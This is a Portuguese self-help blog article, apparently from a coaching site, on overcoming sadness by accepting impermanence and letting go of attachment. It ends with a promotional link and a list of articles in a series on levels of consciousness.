Essa sincronicidade está ligada à diversas variáveis. Depende da:

  • intenção de 7 bilhões de pessoas,
  • das culturas e condições sociais de cada ambiente,
  • mais a natureza,
  • mais as condições climáticas e territoriais,
  • e ainda do universo todo se movimentando.

Então, o que tiver que acontecer, irá acontecer para que a sincronia continue perfeita.

Assimilando isso, percebemos que nosso controle sobre as coisas é frágil.

Aí nos aproximamos mais da realidade como ela é, e não como gostaríamos que fosse em nossa imaginação.

Pois, só na imaginação controlamos todas as situações e pessoas do jeito que queremos.

Com esse primeiro discernimento, podemos avaliar o seguinte: nada é propriedade nossa (com total controle).

Apenas exercemos um governo e uma responsabilidade pelas coisas, pessoas e situações que estamos inseridos, enquanto a sincronia da vida permite.

São pequenos mimos que recebemos da vida por um período para que possamos desfrutar de prazeres.

Por isso, se essas condições forem supervalorizadas, no momento onde esses mimos tiverem que se separar de nós, vão nos fazer chorar, gritar e berrar, como uma criança birrenta.

Pergunte a si mesmo: quem está lidando com a perda que causa tristeza?

Vale então se perguntar: quem é que está lidando com essa perda, o adulto maduro ou a criança mimada dentro de mim?

O adulto maduro percebe a perda como algo natural da vida que muda a todo instante e, por mais que sofra, encara aquilo com coragem de seguir em frente.

A criança mimada já acha que o mundo dela acabou. Acha que nunca mais será feliz, que a vida é injusta, que Deus está punindo, etc etc etc. Acredita em “história para boi dormir”.

E por isso vem a tristeza. Entendendo que tudo é impermanente e estamos exercendo uma responsabilidade temporária, podemos trocar expectativas de cenários ideais por intenções reais.

Abrindo mão, deixando ir.

É necessário abrir mão de posturas como:

  • “tenho que proteger isso (pessoa, coisa, situação, ideia, opinião, expectativa) com unhas e dentes”.
  • “isso é meu e tem que durar o quanto eu quero” — reação da inconsciência animal emocional.

Assim, passo a exercer o: “vou dar meu melhor para desfrutar disso enquanto me for permitido” — intenção da consciência humana racional.

Essa abordagem — com base na realidade como ela se manifesta — nos protege de acreditar nos véus de ilusão que nos permitimos colocar através das sugestões incansáveis de nossa mente tagarela e desesperada.

Afinal, esses véus ilusórios foram criados simplesmente pelas projeções de expectativas de nossos círculos sociais sobre nós e pelos ideais inconscientes culturais de nossa sociedade.

Agora que entende um pouco melhor o que é a tristeza, segue uma sugestão: se você quiser realizar outras práticas para complementar a abordada neste artigo, pode visitar a página de Autodesafios© Pandora Treinamentos e verificar qual área da sua vida está passando por dificuldades e que você gostaria de ajustar.

Boas práticas.

Este artigo faz parte de uma série de artigos que exploram os níveis de consciência humanos.

Abaixo a lista dos artigos sobre os níveis de consciência em ordem:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho pode nos Prejudicar?

08. Coragem é a base do sucesso.

09. A neutralidade nos ajudar a não sofrer.  

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual